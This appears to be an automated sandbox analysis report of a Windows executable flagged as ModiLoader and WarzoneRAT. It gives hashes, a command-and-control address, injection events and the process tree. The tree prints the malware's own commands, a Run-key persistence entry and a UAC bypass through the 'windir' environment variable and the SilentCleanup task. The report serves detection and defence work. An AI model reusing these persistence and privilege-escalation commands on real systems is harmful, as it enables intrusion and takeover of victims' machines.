Analysis
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max time kernel
50s -
max time network
139s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
15-09-2021 07:08
Static task
static1
Behavioral task
behavioral1
Sample
9e6b019dfbd2127debf97d9700db1efa.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
9e6b019dfbd2127debf97d9700db1efa.exe
Resource
win10v20210408
General
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Target
9e6b019dfbd2127debf97d9700db1efa.exe
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Size
819KB
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MD5
9e6b019dfbd2127debf97d9700db1efa
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SHA1
6dac4ba3a4a2eed8e8646b254d369a9ce36ac04e
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SHA256
14b699de8b60b775bd609d8b07b70d0f1bbb850e75347d9b925e54c8dba68fd1
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SHA512
a2775d7a2fc1263d90c9aa1b9a767196a37270637a26735307bc75b39a797b1cfe6d0a7d181958ab1253ce21b3ce74ace4fccc0701d564cb5abf88ad56e07f83
Malware Config
Extracted
warzonerat
194.127.179.121:5010
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
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Warzone RAT Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/784-78-0x0000000000B60000-0x0000000000CB4000-memory.dmp warzonerat -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
9e6b019dfbd2127debf97d9700db1efa.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\Zmjirkn = "C:\\Users\\Public\\Libraries\\nkrijmZ.url" 9e6b019dfbd2127debf97d9700db1efa.exe -
Modifies registry key 1 TTPs 3 IoCs
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Suspicious use of WriteProcessMemory 47 IoCs
Processes:
9e6b019dfbd2127debf97d9700db1efa.execmd.execmd.execmd.exedescription pid process target process PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 784 1824 9e6b019dfbd2127debf97d9700db1efa.exe ieinstal.exe PID 1824 wrote to memory of 1880 1824 9e6b019dfbd2127debf97d9700db1efa.exe cmd.exe PID 1824 wrote to memory of 1880 1824 9e6b019dfbd2127debf97d9700db1efa.exe cmd.exe PID 1824 wrote to memory of 1880 1824 9e6b019dfbd2127debf97d9700db1efa.exe cmd.exe PID 1824 wrote to memory of 1880 1824 9e6b019dfbd2127debf97d9700db1efa.exe cmd.exe PID 1880 wrote to memory of 1744 1880 cmd.exe cmd.exe PID 1880 wrote to memory of 1744 1880 cmd.exe cmd.exe PID 1880 wrote to memory of 1744 1880 cmd.exe cmd.exe PID 1880 wrote to memory of 1744 1880 cmd.exe cmd.exe PID 1744 wrote to memory of 1112 1744 cmd.exe reg.exe PID 1744 wrote to memory of 1112 1744 cmd.exe reg.exe PID 1744 wrote to memory of 1112 1744 cmd.exe reg.exe PID 1744 wrote to memory of 1112 1744 cmd.exe reg.exe PID 1744 wrote to memory of 864 1744 cmd.exe reg.exe PID 1744 wrote to memory of 864 1744 cmd.exe reg.exe PID 1744 wrote to memory of 864 1744 cmd.exe reg.exe PID 1744 wrote to memory of 864 1744 cmd.exe reg.exe PID 1744 wrote to memory of 2016 1744 cmd.exe schtasks.exe PID 1744 wrote to memory of 2016 1744 cmd.exe schtasks.exe PID 1744 wrote to memory of 2016 1744 cmd.exe schtasks.exe PID 1744 wrote to memory of 2016 1744 cmd.exe schtasks.exe PID 1824 wrote to memory of 112 1824 9e6b019dfbd2127debf97d9700db1efa.exe cmd.exe PID 1824 wrote to memory of 112 1824 9e6b019dfbd2127debf97d9700db1efa.exe cmd.exe PID 1824 wrote to memory of 112 1824 9e6b019dfbd2127debf97d9700db1efa.exe cmd.exe PID 1824 wrote to memory of 112 1824 9e6b019dfbd2127debf97d9700db1efa.exe cmd.exe PID 112 wrote to memory of 368 112 cmd.exe reg.exe PID 112 wrote to memory of 368 112 cmd.exe reg.exe PID 112 wrote to memory of 368 112 cmd.exe reg.exe PID 112 wrote to memory of 368 112 cmd.exe reg.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\9e6b019dfbd2127debf97d9700db1efa.exe"C:\Users\Admin\AppData\Local\Temp\9e6b019dfbd2127debf97d9700db1efa.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"2⤵
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\Trast.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
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C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\nest.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f3⤵
- Modifies registry key
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Public\Trast.batMD5
4068c9f69fcd8a171c67f81d4a952a54
SHA14d2536a8c28cdcc17465e20d6693fb9e8e713b36
SHA25624222300c78180b50ed1f8361ba63cb27316ec994c1c9079708a51b4a1a9d810
SHA512a64f9319acc51fffd0491c74dcd9c9084c2783b82f95727e4bfe387a8528c6dcf68f11418e88f1e133d115daf907549c86dd7ad866b2a7938add5225fbb2811d
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C:\Users\Public\UKO.batMD5
eaf8d967454c3bbddbf2e05a421411f8
SHA16170880409b24de75c2dc3d56a506fbff7f6622c
SHA256f35f2658455a2e40f151549a7d6465a836c33fa9109e67623916f889849eac56
SHA512fe5be5c673e99f70c93019d01abb0a29dd2ecf25b2d895190ff551f020c28e7d8f99f65007f440f0f76c5bcac343b2a179a94d190c938ea3b9e1197890a412e9
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C:\Users\Public\nest.batMD5
8ada51400b7915de2124baaf75e3414c
SHA11a7b9db12184ab7fd7fce1c383f9670a00adb081
SHA25645aa3957c29865260a78f03eef18ae9aebdbf7bea751ecc88be4a799f2bb46c7
SHA5129afc138157a4565294ca49942579cdb6f5d8084e56f9354738de62b585f4c0fa3e7f2cbc9541827f2084e3ff36c46eed29b46f5dd2444062ffcd05c599992e68
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memory/112-79-0x0000000000000000-mapping.dmp
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memory/368-81-0x0000000000000000-mapping.dmp
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memory/784-69-0x00000000000D0000-0x00000000000D1000-memory.dmpFilesize
4KB
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memory/784-70-0x0000000000180000-0x0000000000181000-memory.dmpFilesize
4KB
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memory/784-71-0x0000000010670000-0x00000000107C6000-memory.dmpFilesize
1.3MB
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memory/784-68-0x0000000000090000-0x0000000000091000-memory.dmpFilesize
4KB
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memory/784-78-0x0000000000B60000-0x0000000000CB4000-memory.dmpFilesize
1.3MB
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memory/784-65-0x0000000000000000-mapping.dmp
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memory/864-76-0x0000000000000000-mapping.dmp
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memory/1112-75-0x0000000000000000-mapping.dmp
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memory/1744-73-0x0000000000000000-mapping.dmp
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memory/1824-60-0x0000000000230000-0x0000000000231000-memory.dmpFilesize
4KB
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memory/1824-64-0x0000000075801000-0x0000000075803000-memory.dmpFilesize
8KB
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memory/1880-67-0x0000000000000000-mapping.dmp
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memory/2016-77-0x0000000000000000-mapping.dmp